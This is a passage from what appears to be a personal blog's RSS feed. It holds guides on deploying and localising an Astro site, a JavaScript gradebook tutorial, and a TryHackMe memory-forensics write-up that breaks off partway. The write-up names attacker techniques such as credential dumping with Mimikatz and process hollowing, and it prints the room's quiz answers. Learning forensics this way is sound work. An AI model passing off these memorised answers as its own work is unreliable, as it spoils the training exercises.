&lt;p&gt;Open &lt;code&gt;localhost:4321&lt;/code&gt; in your browser to see your website live as you make changes.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 3: Workflow with Git&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Create a new repository on github.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Connect your local project folder with the github repository.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Every time you finish a feature or add a change, commit and push to github.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git add .
git commit -m &quot;feat: add portfolio page&quot;
git push origin main
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 4: Automatic Deployment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Choose one of the hosting platforms mentioned earlier (Vercel, Netlify, or Cloudflare Pages).&lt;/li&gt;
&lt;li&gt;Import the project from the github you just created.&lt;/li&gt;
&lt;li&gt;The hosting platform will detect the project as an Astro project, then click deploy.&lt;/li&gt;
&lt;li&gt;Done, then we can change the public URL to our own domain, for example &lt;code&gt;farros.co&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, every time we &lt;code&gt;git push&lt;/code&gt; to Github, Netlify or another server platform will automatically rebuild and deploy the latest version of our website. This is called &lt;strong&gt;CI/CD (Continuous Integration/Continuous Deployment)&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Alhamdulillah. Thank you, I hope this is useful.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://jamstack.org/img/og/default-og-image.png&quot;&gt;https://jamstack.org/img/og/default-og-image.png&lt;/a&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image.DhT49AQg.png"/><enclosure url="/_astro/image.DhT49AQg.png"/></item><item><title>Build a Gradebook App with JavaScript</title><link>https://farros.co/blog/build-gradebook-app-with-javascript/</link><guid isPermaLink="true">https://farros.co/blog/build-gradebook-app-with-javascript/</guid><description>From a freeCodeCamp project to a functional app. A technical breakdown of how to build a simple gradebook app using HTML, CSS, and core JavaScript concepts.</description><pubDate>Sun, 03 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Photo by &lt;a href=&quot;https://unsplash.com/@growtika?utm_content=creditCopyText&amp;#x26;utm_medium=referral&amp;#x26;utm_source=unsplash&quot;&gt;Growtika&lt;/a&gt; on &lt;a href=&quot;https://unsplash.com/photos/graphical-user-interface-qaedPly-Uro?utm_content=creditCopyText&amp;#x26;utm_medium=referral&amp;#x26;utm_source=unsplash&quot;&gt;Unsplash&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;GitHub Repository: &lt;a href=&quot;https://github.com/farrosfr/js-gradebook-app&quot;&gt;farrosfr/js-gradebook-app&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Live Demo: &lt;a href=&quot;https://farrosfr.github.io/js-gradebook-app/&quot;&gt;Try the Gradebook App Here&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;I want to share an article about creating a simple &quot;Gradebook App.&quot; This project is inspired by the &quot;Review JavaScript Fundamentals&quot; section of the freeCodeCamp curriculum.&lt;/p&gt;
&lt;p&gt;The goal is to create a user input for a numerical score. The app will then calculate the letter grade, compare it to the class average, and show a pass/fail message.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;1. The HTML Structure&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;The foundation is a straightforward HTML file (&lt;code&gt;index.html&lt;/code&gt;). It contains two main parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;code&gt;&amp;#x3C;form&gt;&lt;/code&gt; with an &lt;code&gt;id=&quot;gradeForm&quot;&lt;/code&gt; that holds a number &lt;code&gt;&amp;#x3C;input&gt;&lt;/code&gt; for the student&apos;s score and a &lt;code&gt;submit&lt;/code&gt; &lt;code&gt;&amp;#x3C;button&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;&amp;#x3C;div&gt;&lt;/code&gt; with an &lt;code&gt;id=&quot;result&quot;&lt;/code&gt; that acts as a container to display the final output.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;form id=&quot;gradeForm&quot;&gt;
    &amp;#x3C;label for=&quot;studentScore&quot;&gt;Masukkan Nilai Kamu (0-100):&amp;#x3C;/label&gt;
    &amp;#x3C;input type=&quot;number&quot; id=&quot;studentScore&quot; ... &gt;
    &amp;#x3C;button type=&quot;submit&quot;&gt;Cek Hasil&amp;#x3C;/button&gt;
&amp;#x3C;/form&gt;

&amp;#x3C;div class=&quot;result-container&quot;&gt;
    &amp;#x3C;p id=&quot;result&quot;&gt;Hasil akan ditampilkan di sini...&amp;#x3C;/p&gt;
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;2. The JavaScript Logic (&lt;code&gt;script.js&lt;/code&gt;)&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;This is the main section because there are some functions in this logic.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Core Functions:&lt;/strong&gt;
First, we define pure functions to handle calculations. The &lt;code&gt;getAverage&lt;/code&gt; function efficiently sums up scores using the &lt;code&gt;.reduce()&lt;/code&gt; array method, a modern and concise approach.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// farrosfr/js-gradebook-app/js-gradebook-app-b8c25e2db8cd8a16c4704baaba74a44b3581cd41/script.js
function getAverage(scores) {
  const sum = scores.reduce((total, score) =&gt; total + score, 0);
  return sum / scores.length;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, &lt;code&gt;getGrade&lt;/code&gt; uses a simple &lt;code&gt;if-else if-else&lt;/code&gt; chain to convert a numerical score into a letter grade, covering all possible outcomes from &quot;A++&quot; to &quot;F&quot;. The &lt;code&gt;hasPassingGrade&lt;/code&gt; function cleverly reuses this logic to return a simple boolean value (&lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DOM Interaction:&lt;/strong&gt;
To connect our logic to the webpage, we use an event listener. It waits for the &lt;code&gt;DOMContentLoaded&lt;/code&gt; event to ensure the HTML is fully loaded before trying to access any elements.&lt;/p&gt;
&lt;p&gt;We then attach a &lt;code&gt;submit&lt;/code&gt; event listener to our form. Inside this listener:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;e.preventDefault()&lt;/code&gt; is called to stop the page from refreshing on submission.&lt;/li&gt;
&lt;li&gt;The user&apos;s input is parsed into a number.&lt;/li&gt;
&lt;li&gt;A basic validation checks if the number is between 0 and 100.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;studentMsg&lt;/code&gt; function is called, which uses template literals to construct a clean, dynamic message by combining the results from &lt;code&gt;getAverage&lt;/code&gt; and &lt;code&gt;getGrade&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Finally, the message is displayed in the &lt;code&gt;result&lt;/code&gt; div by setting its &lt;code&gt;textContent&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;&lt;strong&gt;3. The Styling (&lt;code&gt;style.css&lt;/code&gt;)&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;To complete the experience, a simple stylesheet provides a modern, dark-themed UI. It uses CSS variables for a maintainable color scheme and &lt;code&gt;flexbox&lt;/code&gt; to center the main container, ensuring a responsive look.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Alhamdulillah, thank you for reading. Hope it&apos;s useful.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.DP1Zkgud.jpg"/><enclosure url="/_astro/image.DP1Zkgud.jpg"/></item><item><title>A Quick Guide to a Multi-Language Astro Site</title><link>https://farros.co/blog/a-quick-guide-to-a-multi-language-astro-site/</link><guid isPermaLink="true">https://farros.co/blog/a-quick-guide-to-a-multi-language-astro-site/</guid><description>A step-by-step guide to setting up a basic multi-language (EN/ID) blog in Astro. Essential for improving your site&apos;s SEO and accessibility.</description><pubDate>Fri, 01 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Objective:&lt;/strong&gt;
To configure the Astro project to serve content in multiple languages (English and Indonesian), ensuring that each page is rendered with the correct HTML &lt;code&gt;lang&lt;/code&gt; attribute (&lt;code&gt;en&lt;/code&gt; or &lt;code&gt;id&lt;/code&gt;). This is the foundational step for multi-language SEO and accessibility.&lt;/p&gt;
&lt;p&gt;This guide covers the initial setup &lt;strong&gt;without&lt;/strong&gt; implementing &lt;code&gt;translationKey&lt;/code&gt; or &lt;code&gt;hreflang&lt;/code&gt; tags, which are part of an advanced SEO strategy for linking translations.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1. Content Organization&lt;/h2&gt;
&lt;p&gt;The project uses a directory-based approach to separate content by language.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;English (Default):&lt;/strong&gt; English articles reside directly within the &lt;code&gt;src/content/blog/&lt;/code&gt; directory.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Example path: &lt;code&gt;src/content/blog/my-english-post/index.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Resulting URL: &lt;code&gt;https://your-site.com/blog/my-english-post&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Indonesian:&lt;/strong&gt; All Indonesian articles &lt;strong&gt;must&lt;/strong&gt; be placed inside a dedicated &lt;code&gt;id&lt;/code&gt; subdirectory.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Example path: &lt;code&gt;src/content/blog/id/postingan-indonesia-saya/index.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Resulting URL: &lt;code&gt;https://your-site.com/blog/id/postingan-indonesia-saya&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Content Schema Configuration&lt;/h2&gt;
&lt;p&gt;To track the language of each article, a &lt;code&gt;language&lt;/code&gt; field must be added to the blog collection schema.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;src/content.config.ts&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// src/content.config.ts
import { defineCollection, z } from &apos;astro:content&apos;;

const blogCollection = defineCollection({
  type: &apos;content&apos;,
  schema: ({ image }) =&gt;
    z.object({
      // ... other fields like title, description, etc.
      
      // Add this line
      language: z.string().optional(), // Defines the language of the post

      // ... other fields
    }),
});

export const collections = {
  blog: blogCollection,
  // ... other collections
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;language: z.string().optional()&lt;/code&gt;&lt;/strong&gt;: This defines a new, optional &lt;code&gt;language&lt;/code&gt; field for all blog posts. It&apos;s marked as optional so that older English posts without this field won&apos;t cause build errors.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Propagating the &lt;code&gt;language&lt;/code&gt; Attribute Through Layouts&lt;/h2&gt;
&lt;p&gt;The core of this setup is passing the &lt;code&gt;language&lt;/code&gt; value from the Markdown frontmatter up through the chain of nested Astro layouts until it reaches the final &lt;code&gt;&amp;#x3C;html&gt;&lt;/code&gt; tag.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Step 3a: Page Level (&lt;code&gt;[...id].astro&lt;/code&gt;)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;This page reads the frontmatter and starts passing the &lt;code&gt;language&lt;/code&gt; prop.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;src/pages/blog/[...id].astro&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;// src/pages/blog/[...id].astro
---
// ... imports
export async function getStaticPaths() { /* ... */ }

const { post, posts } = Astro.props;
const { Content, headings, remarkPluginFrontmatter } = await render(post);

// Extract language from the post&apos;s frontmatter
const { language } = post.data;
---
{/* Pass the extracted language as a prop to PostLayout */}
&amp;#x3C;PostLayout {post} {posts} {headings} {remarkPluginFrontmatter} language={language}&gt;
  &amp;#x3C;Content /&gt;
&amp;#x3C;/PostLayout&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Step 3b: Post Layout (&lt;code&gt;BlogPost.astro&lt;/code&gt;)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;This layout acts as a middleman, receiving the &lt;code&gt;language&lt;/code&gt; prop and passing it to the main &lt;code&gt;PageLayout&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;src/layouts/BlogPost.astro&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;// src/layouts/BlogPost.astro
---
// ... imports

interface Props {
  // ... other props
  language?: string; // Define the prop to be received
}

const {
  // ... other props
  language, // Receive the language prop
} = Astro.props;

// ... other logic
---
{/* Pass the language prop up to PageLayout */}
&amp;#x3C;PageLayout
  meta={{ /* ... */ }}
  highlightColor={primaryColor}
  back=&apos;/blog&apos;
  language={language} 
&gt;
  {/* ... rest of the layout */}
&amp;#x3C;/PageLayout&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Step 3c: Content Layout (&lt;code&gt;ContentLayout.astro&lt;/code&gt;)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;This is likely another middleman layout. It must also be modified to accept and pass on the &lt;code&gt;language&lt;/code&gt; prop.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;src/layouts/ContentLayout.astro&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;// src/layouts/ContentLayout.astro
---
// ... imports
import BaseLayout from &apos;@/layouts/BaseLayout.astro&apos;;

interface Props {
  // ... other props
  language?: string; // Define the prop
}

const { meta, highlightColor, back, language } = Astro.props; // Receive the prop
---
{/* Pass the language prop to the final BaseLayout */}
&amp;#x3C;BaseLayout meta={meta} highlightColor={highlightColor} language={language}&gt;
  &amp;#x3C;slot /&gt;
&amp;#x3C;/BaseLayout&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Step 3d: Base Layout (&lt;code&gt;BaseLayout.astro&lt;/code&gt;)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;This is the final and most important step. This layout receives the &lt;code&gt;language&lt;/code&gt; prop and uses it to dynamically set the &lt;code&gt;lang&lt;/code&gt; attribute on the &lt;code&gt;&amp;#x3C;html&gt;&lt;/code&gt; tag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;src/layouts/BaseLayout.astro&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;// src/layouts/BaseLayout.astro
---
// ... imports
import config from &apos;@/site-config&apos;;

interface Props {
  // ... other props
  language?: string; // Define the final prop
}

const {
  // ... other props
  // Receive the language prop, with a fallback to the site&apos;s default language
  language = config.locale.lang,
} = Astro.props;
---
{/* Use the dynamic language variable here */}
&amp;#x3C;html lang={language}&gt;
  &amp;#x3C;head&gt;
    {/* ... */}
  &amp;#x3C;/head&gt;
  &amp;#x3C;body&gt;
    {/* ... */}
  &amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;4. Creating Content&lt;/h2&gt;
&lt;p&gt;With the setup complete, you can now create content with the correct frontmatter.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;English Post Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;---
title: &quot;A Guide to SQLi&quot;
description: &quot;A practical guide.&quot;
language: &quot;en&quot;
---
English content goes here...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Indonesian Post Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;---
title: &quot;Panduan SQLi&quot;
description: &quot;Panduan praktis.&quot;
language: &quot;id&quot;
---
Konten Bahasa Indonesia di sini...
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;By following these steps, the project is now correctly configured to handle multiple languages. Each page will have the appropriate &lt;code&gt;lang&lt;/code&gt; attribute, improving both SEO and accessibility. The next logical step for advanced SEO would be to implement a &lt;code&gt;translationKey&lt;/code&gt; and &lt;code&gt;hreflang&lt;/code&gt; tags to link translated pages together.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.Cv8cirzc.png"/><enclosure url="/_astro/image.Cv8cirzc.png"/></item><item><title>Memory Analysis Introduction | TryHackMe Write-Up</title><link>https://farros.co/blog/memory-analysis-introduction-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/memory-analysis-introduction-tryhackme-write-up/</guid><description>Memory Analysis Introduction | TryHackMe Write-Up | Farros.</description><pubDate>Fri, 30 May 2025 07:20:37 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;p&gt;Here is my article on the walkthrough of a free room: &lt;a href=&quot;https://tryhackme.com/room/memoryanalysisintroduction&quot;&gt;Memory Analysis Introduction&lt;/a&gt;. Learn how memory analysis helps detect threats during live investigations. I wrote this in 2025 and hope it is useful for learning about memory analysis.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This session explores how memory analysis supports cyber security investigations, focusing on volatile memory and its role in identifying threats, user activity, and attack traces. It covers memory dumps, attack fingerprints, and their use in real-world cases, with interactive sections to visualize memory structures.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Objectives:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Understand memory analysis in cyber security.&lt;/li&gt;
&lt;li&gt;Identify memory structure and behavior.&lt;/li&gt;
&lt;li&gt;Recognize attack traces in memory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/introductoryroomdfirmodule&quot;&gt;DFIR Introduction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/windowsinternals&quot;&gt;Windows Internals&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/module/linux-fundamentals&quot;&gt;Linux Fundamentals&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Volatile Memory&lt;/h2&gt;
&lt;p&gt;Volatile memory, primarily RAM. Once the system is turned off, this data is lost, making it a priority to capture RAM early during investigations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Memory Hierarchy:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CPU Registers &amp;#x26; Cache&lt;/strong&gt;: Fast but limited in size.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RAM&lt;/strong&gt;: Main memory for active programs and the operating system.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disk Storage&lt;/strong&gt;: Slow, used for long-term storage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virtual Memory&lt;/strong&gt;: Maps virtual addresses to RAM or swap space on the disk when physical memory is full.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;RAM is structured into kernel space (for OS and low-level services) and user space (for user processes), with specific regions for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Stack&lt;/strong&gt;: Stores temporary data like function arguments.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Heap&lt;/strong&gt;: For dynamic memory allocation during runtime.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Executable (.text)&lt;/strong&gt;: Stores the CPU instructions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data sections&lt;/strong&gt;: Stores global variables.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Memory analysis offers insights into live system activity, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Running processes&lt;/li&gt;
&lt;li&gt;Open network connections&lt;/li&gt;
&lt;li&gt;Logged-in users and recent commands&lt;/li&gt;
&lt;li&gt;Injected code or fileless malware&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since this data disappears after shutdown, memory forensics helps collect vital information during live system investigations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What type of memory is prioritized because its data disappears after shutdown?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;RAM&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: What is the slowest component in the memory hierarchy?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;disk&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3&lt;/strong&gt;: Which memory region typically contains dynamically allocated data like encryption keys?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;heap&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q4&lt;/strong&gt;: What disk-based area temporarily stores RAM data when memory is full?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;swap&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Memory Dumps&lt;/h2&gt;
&lt;p&gt;A memory dump is a snapshot of a system’s RAM at a specific moment, capturing data like running processes, network activity, and potentially sensitive information. It plays a key role in forensic analysis, malware investigations, and threat hunting. Security teams analyze memory dumps to detect unauthorized activities, while tools like Mimikatz are used to extract credentials, making memory dumps critical for defense.&lt;/p&gt;
&lt;p&gt;Memory dumps can be created using various tools depending on the OS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows&lt;/strong&gt;: WinPmem, Sysinternals RAMMap, or built-in crash dumps.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linux/macOS&lt;/strong&gt;: LiME, dd, or accessing /dev/mem.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are different types of memory dumps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Full Memory Dump&lt;/strong&gt;: Captures all RAM, including user and kernel space.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Process Dump&lt;/strong&gt;: Captures memory of a single process.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pagefile/Swap Analysis&lt;/strong&gt;: Analyzes memory swapped to disk.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Challenges in acquiring a clean memory dump include anti-forensic techniques like hidden modules, kernel manipulation, code injection, and encrypted payloads. These require advanced methods such as memory carving and kernel-level inspection to uncover hidden activities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What tool is commonly used by attackers to extract credentials from memory?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Mimikatz&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: What type of memory dump captures all RAM, including user and kernel space?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;full&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3&lt;/strong&gt;: What Linux tool can be used to extract memory for forensic purposes?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;lime&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q4&lt;/strong&gt;: Which file on Windows systems stores memory during hibernation?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hiberfil.sys&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q5&lt;/strong&gt;: What anti-forensics technique hides processes by altering kernel structures?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;DKOM&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Memory Analysis Attack Fingerprints&lt;/h2&gt;
&lt;p&gt;Memory analysis is critical for identifying active, fileless attacks that evade disk-based forensics. Key indicators include:&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Common Artifacts&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Suspicious processes/DLLs (no disk file).&lt;/li&gt;
&lt;li&gt;Process hollowing, API hooking, kernel rootkits.&lt;/li&gt;
&lt;li&gt;Anomalies like mismatched PE headers or code in writable memory.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;Credential Access (T1003)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;In-memory extraction of credentials (e.g., LSASS dumping) and C2 communications via HTTP/DNS (decrypted configs/beacons visible in memory).&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;In-Memory Scripts (T1086)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Malicious PowerShell/Python scripts executed in RAM, leaving encoded commands or runtime traces.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Persistence Mechanisms&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Scheduled Tasks (T1053.005)&lt;/strong&gt;: Malicious &lt;code&gt;schtasks.exe&lt;/code&gt; arguments.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Services (T1543.003)&lt;/strong&gt;: Unusual service binaries in &lt;code&gt;services.exe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Registry Run Keys (T1547.001)&lt;/strong&gt;: Malware paths in memory-cached registry hives.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;Lateral Movement&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PsExec (T1021.002)&lt;/strong&gt;: Service creation/command-line args.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WinRM/PowerShell (T1021.006, T1059.001)&lt;/strong&gt;: Remoting artifacts, base64-encoded commands.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WMI (T1047)&lt;/strong&gt;: Suspicious &lt;code&gt;wmic&lt;/code&gt; process-creation strings.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Memory forensics tools (e.g., Volatility) uncover these stealthy tactics by analyzing runtime artifacts and kernel structures.&lt;/p&gt;
&lt;p&gt;Q1: What technique involves replacing a trusted process’s memory with malicious code?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Process hollowing&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2:&lt;/strong&gt; Which Windows service provides PowerShell remoting?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;WinRM&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3:&lt;/strong&gt; What MITRE technique ID is associated with in-memory PowerShell execution?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;T1086&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q4:&lt;/strong&gt; What command-line tool enables remote execution and is linked to lateral movement (T1021.002)?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PsExec&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q5:&lt;/strong&gt; Which MITRE technique involves setting tasks that persist through reboots (e.g., schtasks.exe)?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;T1053.005&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Practical&lt;/h2&gt;
&lt;p&gt;Visit the site below, place the term in the proper definition, and get the flag.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://static-labs.tryhackme.cloud/apps/memory-analysis-intro/&quot;&gt;Interactive Exercise&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*VYy0ytd_jRunjte6BIZTVw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can follow the answer below to complete it and get the flag.&lt;/p&gt;
&lt;p&gt;Main working memory in an OS&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;RAM&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Contains processes launched by the user or applications&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;User-Space&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;PsExec enables command execution on remote systems&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;T1021.002 — Remote Services&lt;/p&gt;
